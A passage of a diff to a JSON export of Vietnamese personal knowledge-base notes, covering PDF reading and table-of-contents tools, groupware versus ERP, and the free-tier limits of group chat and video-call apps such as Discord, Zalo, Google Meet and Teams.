\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:21:00.000Z", - "id": "RH" + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "RV" }, { - "Tiêu đề": "Việc phân loại thư mục chỉ cần theo đúng thư mục đó, không nhất thiết phải tạo thành một cây thống nhất", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Việc phân loại thư mục chỉ cần theo đúng thư mục đó, không nhất thiết phải tạo thành một cây thống nhất", + "Tiêu đề": "Cách setup cho việc đọc PDF thường xuyên", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/PDF/Cách setup cho việc đọc PDF thường xuyên", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "# Chuột bay\n\n| Tên sản phẩm | Giá |\n| ---------------- | ---- |\n| c120 | 290k |\n| **Minix neo a2** | 473k |\n| T3 | 490k |\n| Measy RC11 | |\n# Màn hình lớn\n19 inch là đủ\n\n# Tự động chỉnh phóng to mức page width trong Firefox\nTrong Firefox, mở `about:config`, kiếm `pdfjs.defaultZoomValue` và chỉnh giá trị là `page-width`\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-09-01T10:03:00.000Z", - "Ngày cập nhật": "2024-09-02T08:21:00.000Z", - "id": "RI" + "Ngày tạo": "2023-05-27T13:53:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "RW" }, { - "Tiêu đề": "Dữ liệu dưới dạng văn bản là dạng dữ liệu phi cấu trúc", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Văn bản thuần/Dữ liệu dưới dạng văn bản là dạng dữ liệu phi cấu trúc", + "Tiêu đề": "PDF là để in ra giấy, không phải để đọc trên máy", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/PDF/PDF là để in ra giấy, không phải để đọc trên máy", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Dữ liệu như kiểu Wikipedia thì đường link rối lung tung. Chính vì như vậy, nên việc lưu [[Dữ liệu dưới dạng văn bản phù hợp cho việc quản lý kiến thức]]\n", + "Toàn bộ nội dung": "Khái niệm:: \nVì nếu đối tượng người đọc cũng chỉ đọc nó trên máy chứ không phải trên giấy, thì chuyển sang HTML sẽ tốt hơn. PDF được sinh ra là để làm những việc liên quan tới giấy, như xử lý sách scan, hoặc đánh máy xong rồi in ra. Vì nó được tối ưu cho mục đích đó, nên nếu công việc chỉ làm trên máy thôi thì nó lại không tối ưu bằng.\n\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:20:00.000Z", - "id": "RJ" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "RX" }, { - "Tiêu đề": "Muốn quản lý phiên bản một cách hiệu quả thì phải dùng văn bản thuần", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Văn bản thuần/Muốn quản lý phiên bản một cách hiệu quả thì phải dùng văn bản thuần", + "Tiêu đề": "Tạo mục lục cho PDF", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/PDF/Tạo mục lục cho PDF", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "# Khi xuất ở Word \nViệc tạo mục lục là tối quan trọng. Không có mục lục thì chỉ thấy cây mà không thấy rừng. Bản thân mục lục cũng là những bảng tóm tắt. Chính việc nhớ mục lục khiến ta có thể ứng biến với tình huống khác nhau. [[Tinh túy của một cuốn sách chính là mục lục của nó]]\n![](https://i.imgur.com/pybO2se.png)\n\n# Creating hierarchical bookmarks/table of content\n\nUse [Jpdfbookmark](https://sourceforge.net/projects/jpdfbookmarks/).\n\n## Step 1: Prepare the table of content\n\nSave the TOC in a .txt file in this format:\n\n```\nChapter 1. The Beginning/23\n    Para 1.1 Child of The Beginning/25,FitWidth,96\n        Para 1.1.1 Child of Child of The Beginning/26,FitHeight,43\nChapter 2. The Continue/30,TopLeft,120,42\n    Para 2.1 Child of The Beginning/32,FitPage\n```\nYou can [ORC the TOC](https://stackoverflow.com/q/49954707/3416774) and use regex to fix it.\n\n## Step 2: Load that TOC\n\n![Machine generated alternative text:\nile Edit View Tools Window Help\nSelect Text\nCtrl+Alt+T\nUse System Clipboard Ctrl+AIt+C\nShow On Open\nDump\nApply Page Offset\nOptions\nCtrl+Alt+D\nCtrl+Alt+L\nCtrl+Alt+O](https://i.imgur.com/n42DaEL.png)\n\n## Step 3: Prepare for step 4\n\nThis sounds dumb, but if you miss it you will be frustrated and have to do it again. Expand all bookmarks (Ctrl + E), select all of them, then go to Tools → Apply Page Offset\n\n![Machine generated alternative text:\nFile Edit View Tools Window Help\nSelect Text\nCtrl+AIt\nUse System Clipboard Ctrl+AIt+C\nShow On Open\nDump\nApply Page Offset\nOptions\n1.4 Invariance in Geometr•,\nI. 5 Dimensional Analysis\n1.6 Eddington's äÉæMethod of\nI. 7 Ideal Numbers—\n1.8 Actual Infinity and the Axi(\n2 Intuitve Theories of\n3 Axiomatc Set Theory—\n4 Axiomatc Generalizatons of the\n5 Representatonal Theory of Mea:\n6 Intrinsicness\n7 Qualitatveness\n8 and the Axiom\nReferences\nIndex\nCtrl+AIt+D\nCtrl+AIt+L\nCtrl+Alt+O](https://i.imgur.com/COshVw9.png)\n\n## Step 4: Apply page offset\n\nThis step should be self-explained. Don’t forget to save.\n\nThat’s it. You are done. For more information, you can read its [manual](http://jpdfbookmarks.altervista.org/InsertBookmarks.html#1_3_1). The program has command line mode and can work on Linux, Mac.\n\nIf there are non-Roman characters, be sure to use the same encoding when dumping and applying bookmarks.\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:20:00.000Z", - "id": "RK" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "RY" }, { - "Tiêu đề": "Tệp là thứ mà nhiều chương trình khác nhau đều đọc được", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Văn bản thuần/Tệp là thứ mà nhiều chương trình khác nhau đều đọc được", + "Tiêu đề": "Facebook vs Discord", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Facebook vs Discord", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Chính vì như vậy, nên [[File Google Docs không thực sự là file]]\n\nNguồn:: [Golems, smart objects, and the file metaphor (Interconnected)](https://interconnected.org/home/2021/02/01/golems)\n", + "Toàn bộ nội dung": "Fb có thể thân thiện hơn cho người chưa biết hoặc chỉ cần trao đổi về plugin là được. Còn Discord chắc có nhiều lập trình viên và dân nghiên cứu học thuật hơn\n\ncác bài đăng trên Facebook quá bị chi phối bởi các thuật toán sắp xếp tin, các tính năng mới mà facebook bổ sung (hoặc bắt chước) như các nền tảng khác không hiệu quả, và do vậy mất quá nhiều thời gian để đọc lướt qua dòng tin trên mỗi nhóm để tìm thứ mình cần. phân luồng như Discord thuận tiện hơn, nếu post có giá trị, mod/admin có thể ghim lại phía trên để người chưa biết tiện theo dõi. tốt hơn nữa thì có sắp xếp chỉ mục liên kết tới các cuộc thảo luận có giá trị, như Obisidianroundup đã làm.", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:20:00.000Z", - "id": "RL" + "Ngày tạo": "2023-07-20T10:00:00.000Z", + "Ngày cập nhật": "2024-08-20T09:25:00.000Z", + "id": "RZ" }, { - "Tiêu đề": "Văn bản thuần là dạng dữ liệu đơn giản nhất", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Văn bản thuần/Văn bản thuần là dạng dữ liệu đơn giản nhất", + "Tiêu đề": "Google Calendar", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Google Calendar", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\n![Plain Text Data Formats: CSV, JSON, XML, HTML, Fixed-Width, and more... compared and explained - YouTube](https://youtu.be/6caucCsePqs?si=coTpJ7unQaKEql5L)\n", + "Toàn bộ nội dung": "Nhu cầu công nghệ::\nGiải pháp kỹ thuật::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:20:00.000Z", - "id": "RM" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Ra" }, { - "Tiêu đề": "Groupware giúp cho việc cộng tác trong nhóm và giao tiếp giữa các thành viên trong nhóm. ERP giúp cho việc quản lý toàn diện các hoạt động của doanh nghiệp", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Groupware giúp cho việc cộng tác trong nhóm và giao tiếp giữa các thành viên trong nhóm. ERP giúp cho việc quản lý toàn diện các hoạt động của doanh nghiệp", + "Tiêu đề": "Google Drive", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Google Drive", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Groupware là phần mềm nhóm, giúp các cá nhân cộng tác trên các dự án với mục tiêu chung từ các địa điểm phân tán về mặt địa lý thông qua giao diện Internet chia sẻ như một phương tiện để giao tiếp trong nhóm[1](https://filegi.com/tech-term/groupware-3057/). Groupware có thể bao gồm hệ thống lưu trữ truy cập từ xa để lưu trữ thường xuyên sử dụng các file dữ liệu[1](https://filegi.com/tech-term/groupware-3057/).\n\nERP (Enterprise Resource Planning) là hệ thống hoạch định nguồn lực doanh nghiệp. Nhiệm vụ của ERP đó là tạo ra không gian thống nhất, đa chức năng liên kết mọi hoạt động của doanh nghiệp: từ quản trị toàn diện đầu vào, đầu ra; tới lập kế hoạch, thống kê, kiểm soát các nghiệp vụ về sản xuất, tài chính, nhân sự… Nhằm hỗ trợ doanh nghiệp có thể phân tích chuyên sâu dữ liệu và đưa ra các dự báo, hỗ trợ nhà quản lý hoặc các bộ phận tác nghiệp hiệu quả[2](https://itgtechnology.vn/so-sanh-cac-phan-mem-erp-noi-bat-tren-thi-truong-nam-2021/).\n\nVậy Groupware và ERP có điểm khác biệt cơ bản là Groupware giúp cho việc cộng tác trong nhóm và giao tiếp giữa các thành viên trong nhóm trong khi ERP giúp cho việc quản lý toàn diện các hoạt động của doanh nghiệp.\n\n# Các cách phân loại groupware\n## Theo không thời gian\n![](https://upload.wikimedia.org/wikipedia/commons/thumb/2/28/Cscwmatrix.jpg/703px-Cscwmatrix.jpg) \nNguồn:: [[⚡Hiểu biết sâu/Ξ Nguồn/Wikipedia]], [Computer-supported cooperative work](https://en.wikipedia.org/wiki/Computer-supported_cooperative_work), [[Bing AI]], [Collaborative software](https://en.wikipedia.org/wiki/Collaborative_software)\n\n## Theo mức độ hợp tác\n- Giao tiếp\n- Hội ý\n- Điều phối\n\nGroupware can be divided into three categories depending on the level of [collaboration](https://en.wikipedia.org/wiki/Collaboration \"Collaboration\")\n\n1. **Communication** can be thought of as unstructured interchange of information. A phone call or an [instant messaging](https://en.wikipedia.org/wiki/Instant_messaging \"Instant messaging\") chat discussion are examples of this.\n2. **Conferencing** (or collaboration level, as it is called in the academic papers that discuss these levels) refers to interactive work toward a shared goal. Brainstorming or voting are examples of this.\n3. **Co-ordination** refers to complex interdependent work toward a shared goal. A good metaphor for understanding this is to think about a sports team; everyone has to contribute the right play at the right time as well as adjust their play to the unfolding situation - but everyone is doing something different - in order for the team to win. That is complex interdependent work toward a shared goal: collaborative management.\n\n\n![](https://www.researchgate.net/profile/Michael-Koch-21/publication/205976839/figure/fig1/AS:651875657474064@1532430676618/Categorizing-Groupware-in-between-the-three-different-interaction-modescommunication.png) \n\n## Theo chức năng (dành cho loại coordination) \nCollaborative management tools facilitate and manage group activities. Examples include:\n\n- [Document collaboration](https://en.wikipedia.org/wiki/Document_collaboration \"Document collaboration\") systems — set up to help multiple people work together on a single document or file to achieve a single final version\n- [Electronic calendars](https://en.wikipedia.org/wiki/Electronic_calendar \"Electronic calendar\") (also called [time management](https://en.wikipedia.org/wiki/Time_management \"Time management\") software) — schedule events and automatically notify and remind group members\n- [Project management](https://en.wikipedia.org/wiki/Project_management \"Project management\") systems — schedule, track, and chart the steps in a project as it is being completed\n- [Online proofing](https://en.wikipedia.org/wiki/Online_proofing \"Online proofing\") — share, review, approve, and reject web proofs, artwork, photos, or videos between designers, customers, and clients\n- [Workflow systems](https://en.wikipedia.org/wiki/Workflow_system \"Workflow system\") — collaborative management of tasks and documents within a knowledge-based business process\n- [Knowledge management systems](https://en.wikipedia.org/wiki/Knowledge_management_software \"Knowledge management software\") — collect, organize, manage, and share various forms of information\n- [Enterprise bookmarking](https://en.wikipedia.org/wiki/Enterprise_bookmarking \"Enterprise bookmarking\") — collaborative bookmarking engine to tag, organize, share, and search enterprise data\n- [Prediction markets](https://en.wikipedia.org/wiki/Prediction_market \"Prediction market\") — let a group of people predict together the outcome of future events\n- [Extranet](https://en.wikipedia.org/wiki/Extranet \"Extranet\") systems (sometimes also known as 'project extranets') — collect, organize, manage and share information associated with the delivery of a project (e.g.: the construction of a building)\n- [Intranet](https://en.wikipedia.org/wiki/Intranet \"Intranet\") systems — quickly share company information to members within a company via Internet (e.g.: marketing and product info)\n- [Social software](https://en.wikipedia.org/wiki/Social_software \"Social software\") systems — organize social relations of groups\n- [Online spreadsheets](https://en.wikipedia.org/wiki/Online_spreadsheet \"Online spreadsheet\") — collaborate and share structured data and information\n- [Client portals](https://en.wikipedia.org/wiki/Client_portal \"Client portal\") — interact and share with your clients in a private online environment[_[citation needed](https://en.wikipedia.org/wiki/Wikipedia:Citation_needed \"Wikipedia:Citation needed\")_]\n", + "Toàn bộ nội dung": "[Simple URL Tricks for Google Drive You Should Know - Digital Inspiration](https://www.labnol.org/internet/direct-links-for-google-drive/28356/)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T14:08:00.000Z", - "id": "RN" + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Rb" }, { - "Tiêu đề": "Groupware requires careful implementation into a group setting, and product developers have not as yet been able to find the most optimal way to introduce such systems into organizational environments", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Groupware requires careful implementation into a group setting, and product developers have not as yet been able to find the most optimal way to introduce such systems into organizational environments", + "Tiêu đề": "Discord", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm chat nhóm/Discord", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[⚡Hiểu biết sâu/Ξ Nguồn/Wikipedia]], [Computer-supported cooperative work](https://en.wikipedia.org/wiki/Computer-supported_cooperative_work#Standardization_in_information_infrastructure)\n", + "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: \nGiới hạn về mặt công nghệ:: \nƯu điểm:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T14:08:00.000Z", - "id": "RO" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-01T09:35:00.000Z", + "id": "Rc" }, { - "Tiêu đề": "Hợp tác làm việc", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Hợp tác làm việc", + "Tiêu đề": "Messenger", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm chat nhóm/Messenger", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Hợp tác làm việc\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[3]\n```\n\n[Augmenting Organizational Intelligence](https://fibery.io/blog/gems/augmenting-organizational-intelligence/)\n[A Short History of Bi-Directional Links](https://maggieappleton.com/bidirectionals)\n[Querying Decentralized Data in Rhizomatic Systems - Quinn Wilton](https://www.youtube.com/watch?v=vkMXbk7Pn_M&fbclid=IwAR3_KiqxXqX8s6zhinjqssfkLkp_9tRL2jTKAtNOxk1m1hozRq9dLZxJ0WE)\n![](https://www.researchgate.net/profile/Shahrinaz-Ismail-2/publication/261459678/figure/fig2/AS:296803514765312@1447774880081/figure-fig2.png)\n\nNguồn:: [(PDF) Personal intelligence in collective goals: A bottom-up approach from PKM to OKM](https://www.researchgate.net/publication/261459678_Personal_intelligence_in_collective_goals_A_bottom-up_approach_from_PKM_to_OKM)\n", + "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: \nGiới hạn về mặt công nghệ:: • Chỉ cho một thiết bị vào cùng lúc<br>• Không chia phòng được<br>• Không kết nối với các dịch vụ khác được\nƯu điểm::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-03-12T17:58:00.000Z", - "Ngày cập nhật": "2024-09-01T14:08:00.000Z", - "id": "RP" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Rd" }, { - "Tiêu đề": "Hợp tác thời gian thực không thực sự cần thiết trong đa số trường hợp. Đa số đều là hợp tác phi đồng bộ", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Hợp tác thời gian thực không thực sự cần thiết trong đa số trường hợp. Đa số đều là hợp tác phi đồng bộ", + "Tiêu đề": "Zalo", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm chat nhóm/Zalo", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Git mở ra nhiều khả thể trong việc hợp tác]]\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T14:08:00.000Z", - "id": "RQ" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-28T17:18:00.000Z", + "id": "Re" }, { - "Tiêu đề": "Máy không mệt khi phát sự kiện cũng như lắng nghe sự kiện", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Máy không mệt khi phát sự kiện cũng như lắng nghe sự kiện", + "Tiêu đề": "Butter", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm gọi video/Butter", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: Tối đa 45 phút khi có 3 thiết bị tham gia trở lên\nGiới hạn về mặt công nghệ:: Không dùng trên điện thoại được\nƯu điểm::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T14:08:00.000Z", - "id": "RR" + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Rf" }, { - "Tiêu đề": "Real-time collaboration isn't necessary in most cases, but asynchronous collaboration", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Real-time collaboration isn't necessary in most cases, but asynchronous collaboration", + "Tiêu đề": "Discord (gọi video)", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm gọi video/Discord (gọi video)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Git mở ra nhiều khả thể trong việc hợp tác]]\n", + "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: \nGiới hạn về mặt công nghệ:: • Chỉ cho một thiết bị vào cùng lúc<br>• Không chia phòng được<br>• Không kết nối với các dịch vụ khác được\nƯu điểm:: Tích hợp bảng vẽ\n\nLĩnh vực:: \nNhu cầu công nghệ::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T14:08:00.000Z", - "id": "RS" + "Ngày tạo": "2024-08-23T10:57:00.000Z", + "Ngày cập nhật": "2024-08-23T10:57:00.000Z", + "id": "Rg" }, { - "Tiêu đề": "Sơ đồ kết nối", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Sơ đồ kết nối", + "Tiêu đề": "Gather", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm gọi video/Gather", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://www.researchgate.net/profile/Shahrinaz-Ismail-2/publication/261459678/figure/fig2/AS:296803514765312@1447774880081/figure-fig2.png)\n\nNguồn:: [(PDF) Personal intelligence in collective goals: A bottom-up approach from PKM to OKM](https://www.researchgate.net/publication/261459678_Personal_intelligence_in_collective_goals_A_bottom-up_approach_from_PKM_to_OKM)\n", + "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: Tối đa 25 người\nGiới hạn về mặt công nghệ:: \nƯu điểm:: Di chuyển tự do, Cảm giác gần gũi như ở cùng nhau thật\n\n\nGather\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T14:08:00.000Z", - "id": "RT" + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Rh" }, { - "Tiêu đề": "Sự kiện chỉ thông báo về sự thay đổi chứ không kỳ vọng một chương trình phản ứng với nó", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Sự kiện chỉ thông báo về sự thay đổi chứ không kỳ vọng một chương trình phản ứng với nó", + "Tiêu đề": "Google Meet", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm gọi video/Google Meet", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Máy không mệt khi phát sự kiện cũng như lắng nghe sự kiện]]\n", + "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: Tối đa 45 phút khi có 3 thiết bị tham gia trở lên\nGiới hạn về mặt công nghệ:: \nƯu điểm:: Tích hợp với Google Docs, Phụ đề\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T14:08:00.000Z", - "id": "RU" + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Ri" }, { - "Tiêu đề": "Sự kiện là một sự thay đổi về trạng thái", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Sự kiện là một sự thay đổi về trạng thái", + "Tiêu đề": "Messenger (gọi video)", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm gọi video/Messenger (gọi video)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[IBM]], ![Event-Driven Business](https://youtu.be/p8DA_ca86-c)\n!https://youtu.be/JLyhri8ckeI \n", + "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: \nGiới hạn về mặt công nghệ:: Chỉ cho một thiết bị vào cùng lúc\nGiới hạn về mặt công nghệ:: Không chia phòng được\nGiới hạn về mặt công nghệ:: Không kết nối với các dịch vụ khác được\nƯu điểm::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-11T02:17:00.000Z", - "Ngày cập nhật": "2024-09-01T14:08:00.000Z", - "id": "RV" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Rj" }, { - "Tiêu đề": "The assumption of centralization is deeply ingrained in our user experiences today, and we are only beginning to discover the consequences of changing that assumption", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/The assumption of centralization is deeply ingrained in our user experiences today, and we are only beginning to discover the consequences of changing that assumption", + "Tiêu đề": "Microsoft Teams", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm gọi video/Microsoft Teams", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Local-first software: You own your data, in spite of the cloud](https://www.inkandswitch.com/local-first/)", + "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: \nGiới hạn về mặt công nghệ:: \nƯu điểm:: Người tham gia có thể điều khiển slide theo ý muốn\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T14:08:00.000Z", - "id": "RW" + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Rk" }, { - "Tiêu đề": "Việc hợp tác làm việc thời gian thực với dữ liệu được lưu ở máy cá nhân là một bài toán khó", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Việc hợp tác làm việc thời gian thực với dữ liệu được lưu ở máy cá nhân là một bài toán khó", + "Tiêu đề": "Zalo (gọi video)", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm gọi video/Zalo (gọi video)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Có sự đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác]] \nTuy nhiên, \n[[Hợp tác thời gian thực không thực sự cần thiết trong đa số trường hợp. Đa số đều là hợp tác phi đồng bộ]]\n", + "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: \nGiới hạn về mặt công nghệ:: • Chỉ cho một thiết bị vào cùng lúc<br>• Không chia phòng được<br>• Không kết nối với các dịch vụ khác được\nƯu điểm::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T06:56:00.000Z", - "id": "RX" + "Ngày cập nhật": "2024-07-27T14:34:00.000Z", + "id": "Rl" }, { - "Tiêu đề": "Bỏ hết những thông tin thừa khi làm đồ thị", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Bỏ hết những thông tin thừa khi làm đồ thị", + "Tiêu đề": "Zoom", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm 